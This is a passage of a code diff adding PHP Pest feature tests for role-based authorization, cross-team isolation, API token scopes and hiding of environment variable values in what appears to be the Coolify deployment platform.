+    $otherToken = $otherUser->createToken('other-root', ['root']);
+
+    $this->withToken($otherToken->plainTextToken)
+        ->getJson("/api/v1/servers/{$this->server->uuid}")
+        ->assertStatus(404);
+});

tests/Feature/Authorization/ApiTokenPermissionTest.php

@@ -1,5 +1,6 @@
 <?php
 
+use App\Models\InstanceSettings;
 use App\Models\Team;
 use App\Models\User;
 use Illuminate\Foundation\Testing\RefreshDatabase;
@@ -7,6 +8,8 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
 uses(RefreshDatabase::class);
 
 beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0], ['is_api_enabled' => true]);
+
     $this->team = Team::factory()->create();
     $this->user = User::factory()->create();
     $this->team->members()->attach($this->user->id, ['role' => 'owner']);

tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php

@@ -0,0 +1,245 @@
+<?php
+
+use App\Livewire\Project\Application\Advanced as ApplicationAdvanced;
+use App\Livewire\Project\Application\Heading as ApplicationHeading;
+use App\Livewire\Project\Application\Rollback as ApplicationRollback;
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->withoutVite();
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['id' => 0]));
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    $this->server->settings()->update([
+        'is_reachable' => true,
+        'is_usable' => true,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test App',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+});
+
+// --- Application Policy: view ---
+
+test('admin can view application', function () {
+    expect($this->admin->can('view', $this->application))->toBeTrue();
+});
+
+test('member can view application', function () {
+    expect($this->member->can('view', $this->application))->toBeTrue();
+});
+
+// --- Application Policy: update ---
+
+test('admin can update application', function () {
+    expect($this->admin->can('update', $this->application))->toBeTrue();
+});
+
+test('member cannot update application', function () {
+    expect($this->member->can('update', $this->application))->toBeFalse();
+});
+
+// --- Application Policy: deploy ---
+
+test('admin can deploy application', function () {
+    expect($this->admin->can('deploy', $this->application))->toBeTrue();
+});
+
+test('member cannot deploy application', function () {
+    expect($this->member->can('deploy', $this->application))->toBeFalse();
+});
+
+// --- Application Policy: delete ---
+
+test('admin can delete application', function () {
+    expect($this->admin->can('delete', $this->application))->toBeTrue();
+});
+
+test('member cannot delete application', function () {
+    expect($this->member->can('delete', $this->application))->toBeFalse();
+});
+
+// --- Application Policy: manageEnvironment ---
+
+test('admin can manage application environment', function () {
+    expect($this->admin->can('manageEnvironment', $this->application))->toBeTrue();
+});
+
+test('member cannot manage application environment', function () {
+    expect($this->member->can('manageEnvironment', $this->application))->toBeFalse();
+});
+
+// --- Application Heading Livewire actions ---
+
+test('member cannot call deploy on application heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->call('deploy')
+        ->assertDispatched('error');
+});
+
+test('member cannot call restart on application heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->call('restart')
+        ->assertDispatched('error');
+});
+
+test('member cannot call stop on application heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->call('stop')
+        ->assertDispatched('error');
+});
+
+test('member cannot call force deploy on application heading', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->call('force_deploy_without_cache')
+        ->assertDispatched('error');
+});
+
+// --- Application General policy (Livewire mount requires full app data) ---
+
+test('member cannot update application general settings', function () {
+    expect($this->member->can('update', $this->application))->toBeFalse();
+});
+
+// --- Application Advanced Livewire actions ---
+
+test('member cannot save application advanced settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationAdvanced::class, ['application' => $this->application])
+        ->call('instantSave')
+        ->assertDispatched('error');
+});
+
+test('member cannot submit application advanced settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationAdvanced::class, ['application' => $this->application])
+        ->call('submit')
+        ->assertDispatched('error');
+});
+
+// --- Application Rollback Livewire actions ---
+
+test('member cannot save rollback settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationRollback::class, ['application' => $this->application])
+        ->call('saveSettings')
+        ->assertDispatched('error');
+});
+
+test('member cannot rollback image', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationRollback::class, ['application' => $this->application])
+        ->call('rollbackImage', 'test-image:latest')
+        ->assertForbidden();
+});
+
+// --- Application Heading visibility ---
+
+test('member does not see terminal link for application', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->assertDontSee('Terminal');
+});
+
+test('admin sees terminal link for application', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->assertSee('Terminal');
+});
+
+// --- Cross-team isolation ---
+
+test('user from different team cannot view application', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('view', $this->application))->toBeFalse();
+});
+
+test('user from different team cannot update application', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('update', $this->application))->toBeFalse();
+});

tests/Feature/Authorization/CanUpdateResourceMiddlewareTest.php

@@ -0,0 +1,89 @@
+<?php
+
+use App\Http\Middleware\CanUpdateResource;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Http\Request;
+use Symfony\Component\HttpKernel\Exception\HttpException;
+use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
+
+uses(RefreshDatabase::class);
+
+function requestWithCanUpdateResourceRouteParameter(string $parameter, ?string $value): Request
+{
+    $parameters = [
+        'application_uuid' => null,
+        'database_uuid' => null,
+        'stack_service_uuid' => null,
+        'service_uuid' => null,
+        'server_uuid' => null,
+        'environment_uuid' => null,
+        'project_uuid' => null,
+        $parameter => $value,
+    ];
+
+    $request = Mockery::mock(Request::class)->makePartial();
+    $request->shouldReceive('route')->andReturnUsing(fn (string $key): ?string => $parameters[$key] ?? null);
+
+    return $request;
+}
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+});
+
+it('blocks members from update-only project routes before the page renders', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    (new CanUpdateResource)->handle(
+        requestWithCanUpdateResourceRouteParameter('project_uuid', $this->project->uuid),
+        fn () => response('ok')
+    );
+})->throws(HttpException::class, 'You do not have permission to update this resource.');
+
+it('allows admins through update-only project routes', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $response = (new CanUpdateResource)->handle(
+        requestWithCanUpdateResourceRouteParameter('project_uuid', $this->project->uuid),
+        fn () => response('ok')
+    );
+
+    expect($response->getContent())->toBe('ok');
+});
+
+it('blocks members from update-only server routes before the page renders', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    (new CanUpdateResource)->handle(
+        requestWithCanUpdateResourceRouteParameter('server_uuid', $this->server->uuid),
+        fn () => response('ok')
+    );
+})->throws(HttpException::class, 'You do not have permission to update this resource.');
+
+it('returns not found when an update-only route references an unknown resource', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    (new CanUpdateResource)->handle(
+        requestWithCanUpdateResourceRouteParameter('project_uuid', 'not-a-project'),
+        fn () => response('ok')
+    );
+})->throws(NotFoundHttpException::class, 'Resource not found.');

tests/Feature/Authorization/CloudProviderAuthorizationTest.php

@@ -0,0 +1,170 @@
+<?php
+
+use App\Models\CloudInitScript;
+use App\Models\CloudProviderToken;
+use App\Models\InstanceSettings;
+use App\Models\PersonalAccessToken;
+use App\Models\PrivateKey;
+use App\Models\Team;
+use App\Models\User;
+use App\Policies\CloudInitScriptPolicy;
+use App\Policies\CloudProviderTokenPolicy;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Gate;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    DB::table('private_keys')->insert([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Team SSH Key',
+        'description' => 'Key for testing',
+        'private_key' => 'test-key-content',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->privateKey = PrivateKey::where('team_id', $this->team->id)->first();
+});
+
+// --- Private Key Policy ---
+
+test('admin can create private key', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', PrivateKey::class))->toBeTrue();
+});
+
+test('member cannot create private key', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', PrivateKey::class))->toBeFalse();
+});
+
+test('admin can view private key', function () {
+    expect($this->admin->can('view', $this->privateKey))->toBeTrue();
+});
+
+test('member can view own team private key', function () {
+    expect($this->member->can('view', $this->privateKey))->toBeTrue();
+});
+
+test('admin can update private key', function () {
+    expect($this->admin->can('update', $this->privateKey))->toBeTrue();
+});
+
+test('member cannot update private key', function () {
+    expect($this->member->can('update', $this->privateKey))->toBeFalse();
+});
+
+test('admin can delete private key', function () {
+    expect($this->admin->can('delete', $this->privateKey))->toBeTrue();
+});
+
+test('member cannot delete private key', function () {
+    expect($this->member->can('delete', $this->privateKey))->toBeFalse();
+});
+
+test('user from different team cannot view private key', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('view', $this->privateKey))->toBeFalse();
+});
+
+// --- Cloud Provider Token Policy ---
+
+test('admin can create cloud provider token', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', CloudProviderToken::class))->toBeTrue();
+});
+
+test('member cannot create cloud provider token', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', CloudProviderToken::class))->toBeFalse();
+});
+
+test('admin can view any cloud provider tokens', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('viewAny', CloudProviderToken::class))->toBeTrue();
+});
+
+// --- Cloud Init Script Policy ---
+
+test('admin can create cloud init script', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', CloudInitScript::class))->toBeTrue();
+});
+
+test('member cannot create cloud init script', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', CloudInitScript::class))->toBeFalse();
+});
+
+test('admin can view any cloud init scripts', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('viewAny', CloudInitScript::class))->toBeTrue();
+});
+
+test('cloud provider and cloud init policies are explicitly registered', function () {
+    expect(Gate::getPolicyFor(CloudProviderToken::class))->toBeInstanceOf(CloudProviderTokenPolicy::class)
+        ->and(Gate::getPolicyFor(CloudInitScript::class))->toBeInstanceOf(CloudInitScriptPolicy::class);
+});
+
+// --- Personal Access Token (API Token) Policy ---
+
+test('any user can create personal access token', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('create', PersonalAccessToken::class))->toBeTrue();
+});
+
+test('admin can use root permissions for api tokens', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('useRootPermissions', PersonalAccessToken::class))->toBeTrue();
+});
+
+test('member cannot use root permissions for api tokens', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('useRootPermissions', PersonalAccessToken::class))->toBeFalse();
+});
+
+test('member cannot use write permissions for api tokens', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('useWritePermissions', PersonalAccessToken::class))->toBeFalse();
+});

tests/Feature/Authorization/DashboardAuthorizationTest.php

@@ -0,0 +1,97 @@
+<?php
+
+use App\Livewire\Dashboard;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+function setupDashboardUser(string $role): array
+{
+    $team = Team::factory()->create();
+
+    $user = User::factory()->create();
+    $user->teams()->attach($team, ['role' => $role]);
+
+    return [$user, $team];
+}
+
+function createProjectForTeam(Team $team): void
+{
+    Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $team->id,
+    ]);
+}
+
+function createServerWithKeyForTeam(Team $team): void
+{
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    Server::factory()->create([
+        'team_id' => $team->id,
+        'private_key_id' => $keyId,
+    ]);
+}
+
+test('admin sees add project button on dashboard', function () {
+    [$user, $team] = setupDashboardUser('admin');
+
+    $this->actingAs($user);
+    session(['currentTeam' => $team]);
+
+    createProjectForTeam($team);
+
+    Livewire::test(Dashboard::class)
+        ->assertSee('New Project');
+});
+
+test('member does not see add project button on dashboard', function () {
+    [$user, $team] = setupDashboardUser('member');
+
+    $this->actingAs($user);
+    session(['currentTeam' => $team]);
+
+    createProjectForTeam($team);
+
+    Livewire::test(Dashboard::class)
+        ->assertDontSee('New Project');
+});
+
+test('admin sees add server button on dashboard', function () {
+    [$user, $team] = setupDashboardUser('admin');
+
+    $this->actingAs($user);
+    session(['currentTeam' => $team]);
+
+    createServerWithKeyForTeam($team);
+
+    Livewire::test(Dashboard::class)
+        ->assertSee('New Server');
+});
+
+test('member does not see add server button on dashboard', function () {
+    [$user, $team] = setupDashboardUser('member');
+
+    $this->actingAs($user);
+    session(['currentTeam' => $team]);
+
+    createServerWithKeyForTeam($team);
+
+    Livewire::test(Dashboard::class)
+        ->assertDontSee('New Server');
+});

tests/Feature/Authorization/DatabaseConfigAuthorizationTest.php

@@ -0,0 +1,188 @@
+<?php
+
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->database = StandalonePostgresql::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test DB',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'testdb',
+        'image' => 'postgres:15',
+        'status' => 'running',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->databaseUrl = "/project/{$this->project->uuid}/environment/{$this->environment->uuid}/database/{$this->database->uuid}";
+});
+
+// --- Database Policy: view ---
+
+test('admin can view database', function () {
+    expect($this->admin->can('view', $this->database))->toBeTrue();
+});
+
+test('member can view database', function () {
+    expect($this->member->can('view', $this->database))->toBeTrue();
+});
+
+// --- Database Policy: update ---
+
+test('admin can update database', function () {
+    expect($this->admin->can('update', $this->database))->toBeTrue();
+});
+
+test('member cannot update database', function () {
+    expect($this->member->can('update', $this->database))->toBeFalse();
+});
+
+// --- Database Policy: delete ---
+
+test('admin can delete database', function () {
+    expect($this->admin->can('delete', $this->database))->toBeTrue();
+});
+
+test('member cannot delete database', function () {
+    expect($this->member->can('delete', $this->database))->toBeFalse();
+});
+
+// --- Database Policy: manage ---
+
+test('admin can manage database', function () {
+    expect($this->admin->can('manage', $this->database))->toBeTrue();
+});
+
+test('member cannot manage database', function () {
+    expect($this->member->can('manage', $this->database))->toBeFalse();
+});
+
+// --- Database Policy: manageBackups ---
+
+test('admin can manage database backups', function () {
+    expect($this->admin->can('manageBackups', $this->database))->toBeTrue();
+});
+
+test('member cannot manage database backups', function () {
+    expect($this->member->can('manageBackups', $this->database))->toBeFalse();
+});
+
+// --- Database Policy: manageEnvironment ---
+
+test('admin can manage database environment variables', function () {
+    expect($this->admin->can('manageEnvironment', $this->database))->toBeTrue();
+});
+
+test('member cannot manage database environment variables', function () {
+    expect($this->member->can('manageEnvironment', $this->database))->toBeFalse();
+});
+
+// --- Database page access ---
+
+test('admin can access database page', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $this->get($this->databaseUrl)->assertSuccessful();
+});
+
+test('member can access database page', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $this->get($this->databaseUrl)->assertSuccessful();
+});
+
+// --- Terminal access ---
+
+test('admin can access terminal for database', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('canAccessTerminal'))->toBeTrue();
+});
+
+test('member cannot access terminal for database', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('canAccessTerminal'))->toBeFalse();
+});
+
+// --- Cross-team isolation ---
+
+test('user from different team cannot view database', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('view', $this->database))->toBeFalse();
+});
+
+test('user from different team cannot update database', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('update', $this->database))->toBeFalse();
+});
+
+test('user from different team cannot manage database', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+
+    expect($otherUser->can('manage', $this->database))->toBeFalse();
+});

tests/Feature/Authorization/DestinationOwnershipTest.php

@@ -0,0 +1,60 @@
+<?php
+
+use App\Livewire\Destination\Show;
+use App\Models\InstanceSettings;
+use App\Models\Server;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    // Team A owns the destination
+    $this->teamA = Team::factory()->create();
+    $this->userA = User::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'admin']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Key A',
+        'private_key' => 'test-key-a',
+        'team_id' => $this->teamA->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->teamA->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    // Use the StandaloneDocker created by the Server factory
+    $this->destination = $this->server->standaloneDockers()->first();
+
+    // Team B is a different team
+    $this->teamB = Team::factory()->create();
+    $this->userB = User::factory()->create();
+    $this->userB->teams()->attach($this->teamB, ['role' => 'admin']);
+});
+
+test('team member can view their own destination', function () {
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+
+    Livewire::test(Show::class, ['destination_uuid' => $this->destination->uuid])
+        ->assertSet('name', $this->destination->name);
+});
+
+test('cross-team user cannot view destination', function () {
+    $this->actingAs($this->userB);
+    session(['currentTeam' => $this->teamB]);
+
+    Livewire::test(Show::class, ['destination_uuid' => $this->destination->uuid])
+        ->assertStatus(403);
+});

tests/Feature/Authorization/EnvironmentVariableValueHidingTest.php

@@ -0,0 +1,274 @@
+<?php
+
+use App\Livewire\Project\Shared\EnvironmentVariable\All as EnvironmentVariableAll;
+use App\Livewire\Project\Shared\EnvironmentVariable\Show as EnvironmentVariableShow;
+use App\Models\Application;
+use App\Models\EnvironmentVariable;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0], ['is_api_enabled' => true]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test App',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->unlockedEnv = EnvironmentVariable::create([
+        'key' => 'UNLOCKED_VAR',
+        'value' => 'secret-unlocked-value',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $this->application->id,
+        'is_preview' => false,
+        'is_shown_once' => false,
+        'is_multiline' => false,
+        'is_literal' => false,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+
+    $this->lockedEnv = EnvironmentVariable::create([
+        'key' => 'LOCKED_VAR',
+        'value' => 'secret-locked-value',
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $this->application->id,
+        'is_preview' => false,
+        'is_shown_once' => true,
+        'is_multiline' => false,
+        'is_literal' => false,
+        'is_runtime' => true,
+        'is_buildtime' => true,
+    ]);
+});
+
+// --- Livewire Show component: locked env values ---
+
+test('admin sees unlocked env value in Show component', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableShow::class, [
+        'env' => $this->unlockedEnv,
+        'type' => 'application',
+    ]);
+
+    expect($component->get('value'))->toBe('secret-unlocked-value');
+});
+
+test('admin cannot see locked env value in Show component', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableShow::class, [
+        'env' => $this->lockedEnv,
+        'type' => 'application',
+    ]);
+
+    expect($component->get('value'))->toBeNull();
+    expect($component->get('real_value'))->toBeNull();
+});
+
+test('member cannot see any env value in Show component', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableShow::class, [
+        'env' => $this->unlockedEnv,
+        'type' => 'application',
+    ]);
+
+    expect($component->get('value'))->toBeNull();
+    expect($component->get('real_value'))->toBeNull();
+});
+
+test('member has isValueHidden flag set to true', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableShow::class, [
+        'env' => $this->unlockedEnv,
+        'type' => 'application',
+    ]);
+
+    expect($component->get('isValueHidden'))->toBeTrue();
+});
+
+test('admin has isValueHidden flag set to false', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableShow::class, [
+        'env' => $this->unlockedEnv,
+        'type' => 'application',
+    ]);
+
+    expect($component->get('isValueHidden'))->toBeFalse();
+});
+
+// --- Livewire All component: dev view ---
+
+test('admin dev view shows unlocked env value', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableAll::class, [
+        'resource' => $this->application,
+    ]);
+
+    expect($component->get('variables'))->toContain('UNLOCKED_VAR=secret-unlocked-value');
+});
+
+test('admin dev view hides locked env value', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableAll::class, [
+        'resource' => $this->application,
+    ]);
+
+    expect($component->get('variables'))->toContain('LOCKED_VAR=(Locked Secret, delete and add again to change)');
+    expect($component->get('variables'))->not->toContain('secret-locked-value');
+});
+
+test('member dev view hides all env values', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $component = Livewire::test(EnvironmentVariableAll::class, [
+        'resource' => $this->application,
+    ]);
+
+    expect($component->get('variables'))->not->toContain('secret-unlocked-value');
+    expect($component->get('variables'))->not->toContain('secret-locked-value');
+    expect($component->get('variables'))->toContain('UNLOCKED_VAR=(Hidden');
+});
+
+// --- API: locked env values hidden ---
+
+test('API hides locked env value even with read:sensitive token', function () {
+    session(['currentTeam' => $this->team]);
+    $token = $this->admin->createToken('admin-sensitive', ['read', 'read:sensitive']);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$token->plainTextToken,
+    ])->getJson("/api/v1/applications/{$this->application->uuid}/envs");
+
+    $response->assertOk();
+
+    $envs = collect($response->json());
+    $locked = $envs->firstWhere('key', 'LOCKED_VAR');
